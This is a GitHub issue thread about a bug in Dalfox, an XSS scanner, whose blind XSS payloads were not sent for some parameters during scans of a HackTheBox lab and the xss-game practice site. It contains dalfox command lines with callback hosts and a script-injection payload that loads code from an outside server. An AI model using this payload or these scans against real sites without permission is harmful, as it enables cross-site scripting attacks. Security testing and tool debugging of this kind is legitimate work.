-
-
Notifications
You must be signed in to change notification settings - Fork 438
New issue
Have a question about this project? Sign up for a free GitHub account to open an issue and contact its maintainers and the community.
By clicking “Sign up for GitHub”, you agree to our terms of service and privacy statement. We’ll occasionally send you account related emails.
Already on GitHub? Sign in to your account
Dalfox Not Testing Blind XSS #409
Comments
Hi @tekcap What is the version of dalfox? First of all, the blind XSS payload is being sent well in my env. dalfox url https://xss-game.appspot.com/level1/frame\?z\=1 -b hahwul.xss.ht --proxy http://localhost:8090 |
Oh, there's one thing I found out. Based on the current pkg, parameters other than reflected are not testing blind xss. I think this was the problem, let me check quickly! |
I'm on version v2.8.1 installed with go command provided. For some reason, the blind XSS doesn't even get sent in the url parameter. I don't see the payload anywhere in BURP |
@tekcap TestParam Analysis (test with
|
I just realized this issue still persists when using "file --rawdata" with a post request. I think you fixed it for GET, but not POST. I see the Referrer header is working with the blind payload, but not the parameters |
@tekcap |
Running a very basic Blind XSS command against a hackthebox target and it doesn't look like Dalfox is even using the blind payload.
dalfox url "http://IP/hijacking/index.php?fullname=x&username=x&password=x&email=dsfs%40joe.com&imgurl=a" -b http://IP:8080 --skip-bav --debug --skip-mining-all -p imgurl -w 1
The imgurl parameter is vulnerable to this XSS payload:
"><script src=http://IP:8080></script>
I'm assuming Dalfox will use that payload since it's a very basic one.
The debug shows this, but I'm not sure what it means:
Does the false mean that it's not attempting the blind payloads? All the other debug lines are showing me the payload that it is currently testing, but when the blind debug lines appears, it's empty, as shown above. I proxy everything through BURP and can confirm that it's not sending the blind payload.
The text was updated successfully, but these errors were encountered: